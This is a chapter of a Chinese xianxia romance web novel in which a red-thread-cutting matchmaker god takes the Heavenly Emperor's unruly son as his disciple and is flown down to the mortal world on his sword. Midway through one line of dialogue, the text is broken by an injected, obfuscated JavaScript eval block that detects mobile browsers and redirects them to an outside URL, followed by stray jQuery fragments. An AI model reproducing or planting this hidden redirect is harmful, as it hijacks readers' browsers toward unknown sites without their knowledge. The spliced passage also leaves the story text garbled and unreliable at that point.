人间近百年来有一传闻:
求姻缘不要前往月老庙。
据说月老的位置换了人,新来的月老特立独行,不牵红线,只剪红线。每每显灵,皆是宣告一段情缘的结束。
若是被他盯上,所求的姻缘不会得到回应,说不准原有的天定红线还会被剪的一干二净。
故此,切记对其相关的一切敬而远之。
*
九天之上,玉宇千重。薄雾缭绕三千长阶,直通正中最为巍峨的一座神殿。
神殿之下冷冷清清,唯有一人驻足在台阶前,未束的银发散在堇色长衣之后,衬的身形愈发单薄,仿佛一阵微风就能吹走。
温折秋已经在此处等了大半日。
昨夜他忙完手里的红线,罕见的收到帝君传音,称赞月老一职他做得很好,想必带个徒弟也不在话下,还请带着他不成器的儿子一同去凡间历练,再好好管教一番。
帝君难得需要帮忙,他自是答应下来。
只是……人呢?
温折秋站得腿麻,仍是不见人影,在心里思忖是不是太久没回仙界,走错了路。
路过的神官瞧着这道背影眼生,赶紧拉着他避到远处,低声道:“仙友,这儿不能站人!”
突然间挪了窝,温折秋回过神,虚心请教道:“这里不是帝君的宫殿么?”
他侧过身,抬起的脸骨相极美,鼻梁眉骨透着风情,眼窝很深,暮紫色的瞳孔在太阳底下折着光,携有几分漫不经心的笑。比起神仙,更像一只偷跑上天庭的狐狸精,看得面前的神官愣了半晌。
“是……你是刚飞升上来的罢?”
神官后颈莫名红了半边,说话也不自觉地磕巴起来:“你有所不知,帝君的儿子也住在此处,那可是神见神怕的活祖宗!经常在仙界四处搞破坏,把其他神官的居所弄得一团乱,谁敢指责他就刻薄回去,心情不好了还会打人!我们还是绕着道走的好,千万要离他越远越安全!”
温折秋提起一边眉:“这么顽皮?”
怪不得帝君只说了那么一句话,甚至连新徒弟的名字都没有介绍,就连夜召他回来,原来是误以为他知道这些事情。
看来是个烫手山芋。
“可不是么!帝君为了好好管教这位祖宗,前前后后为他精挑细选了二十来位师尊,那下场……”
莫约是回忆起了什么不好的事,神官打了个寒颤,摆手道:“总之没个一年半载下不了床!听闻帝君近日又寻来一位新的师尊,也不知道这个倒霉蛋是谁,太可怜了!”
温折秋顺着他的话点点头,语气讶异:“他还是个色鬼?”
神官呛的直咳,刚想解释是被打的下不来床,背后蓦地响起利刃破空的声音。
两侧的仙树枝叶乱颤,一枝红梅径直钉向方才一顿说坏话的人。温折秋拂袖一推,扬手将红梅拦在指间,被其中蕴含的灵力逼得后错两步。
一只手同时扼住他的喉咙。
原来说坏话比干等着管用。
温折秋被掐了也不着恼,抬起下颌,右耳独一只的月牙流苏坠子轻轻晃动,冲着目露怔忡的青年挑了下眼尾。
“这个倒霉蛋确实挺可怜的,所以殿下……要不要可怜一下我?”
能够把人掐出白眼的力道骤松。
颈上随之留下一圈红痕,温折秋轻咳两声,拍拍要上前还手的神官,示意自己没事。
“长月枫,你能不能讲点道理?我们又没招惹你!”
神官怒斥道。
长月枫掩去面上一瞬间的失态,好像旁人不存在一般,视线独独落在温折秋身上,居高临下的审视道:“你是哪位神官,怎么从未在天庭见过?”
“月老嘛……要管理的姻缘那么多,自然没有空闲两头跑。”
温折秋握住神官的肩膀,给他换了个边,把一脸懵的人送离了潜在危险地。
长月枫却没再发难,只是一瞬不瞬地注视着温折秋,眸光深沉的叫人发毛,说不上是盯上了新的猎物,还是在想着别的心事。
“月老不是一个糟老头子?”
“唔……我长得不像?”
温折秋拈起肩头一缕银丝,朝他风流的眨一眨眼。手腕一抖,枝条上的梅花落进掌心,一转眼,又别到了长月枫的发间。
这位仙界小祖宗生的不错,朗目疏眉,瞳色沉黑,墨发以金冠束成马尾,很有少年意气的俊逸,笑起来想来是多情又倜傥。
可惜眼角眉梢全像围了冰山。
还凶得很。
温折秋欣赏片刻,微笑道:“殿下说的那位是我的老师,他生病了,如今的红线皆由我来负责。当然,你也一样。可准备好了,现在随我一起去人间裁剪红线?”
娇嫩的梅花在长月枫鬓角随意扫过,他没有拨开,垂着眼眸反问:“世人皆道宁拆十座庙,不毁一桩婚。身为月老,反其道而行之?”
温折秋对这种疑问早已见怪不怪,解释道:“殿下有所误会,我裁剪的皆是缘分已尽的红线。这些情缘若是不及时拆散,新的缘分也就迟迟不会到来,对原本的红线双方只有煎熬。教人放手,何尝不算一种美德?”
长月枫又问:“如若他们不想放弃这段缘分呢?”
“如果双方都不愿放弃,那缘分自然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855089|175885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很难走到尽头。需要裁剪的红线大多只有一方不愿放手,且执念极深,想要将已经结束的缘分强留。”
温折秋话锋一转,循循善诱道:“当然,万事无绝对,这里头学问多得很,需得亲眼一观才能切身体会。沿途还能看遍世间瑰丽奇景,包殿下满意。”
话音在空中飘了一会,他观察着面前青年的反应,懒洋洋的眯起一抹笑。
看样子是被他说动了。
倒是挺好哄。
果然,没沉默多久,长月枫周身若有似无的攻击性缓缓收敛,不咸不淡唤了声:“师尊。”
温折秋“嗯”的答应,拢起宽袖,再凑近几分:“有法器么,载我一程?”
长月枫:“?”
尽管一言不发,但“你没有法器?”的疑惑显然摆在了脸上。
温折秋看得分明,笑眯眯道:“我恐高。”
长月枫:“?”
其实这才是不回天庭的原因?
他皱了皱眉,神情看起来愈发冷淡,像要打人。
方圆内的活物全吓没了动静,连树叶都蔫蔫耷落。温折秋以为他不愿意,移开目光,自顾自地继续道:“平日里大部分红线只能走着去,哎,好辛苦。”
“……”
刺目光华闪过,一柄金纹长剑横在低空,长月枫转过身,不大想听他废话的模样,足尖一点,稳稳踏上剑身。
温折秋跟着靠近,正想上去,长剑发出不满的嗡鸣,一阵灵力将他同步推开。
长月枫往回瞥一眼,唇角牵动,不耐烦的弯了弯身。
下一刻,温折秋就被提溜猫似的拎上了剑。
此番动作实在太快,温折秋甚至来不及回味。
他刚才是被“啧”了吗?
应该是。
温折秋安分站好,很识趣的不再有别的举动,只将要前往的方位简单进行描述。
说完,便安心阖上眼,准备在剑上稍作休憩。
上一条红线相当麻烦,他已经好些天没有沾过床,原定的休息时间也被急急忙忙叫来领人,现下着实是困得不行。
还好有人捎载,可以抽空歇歇。
正放空着思绪,耳边却忽地传来一句:“怕高?”
温折秋眼也不抬,胡诌道:“这不是害怕的不敢看?”
此话合情合理,四周重新安静下来。
周身却迟迟没有御剑而行的风声。
反而有一种倾斜的感觉。
温折秋:“……”
不好。
他当机立断,拦腰环住前方的人。
长剑垂直朝人间下落。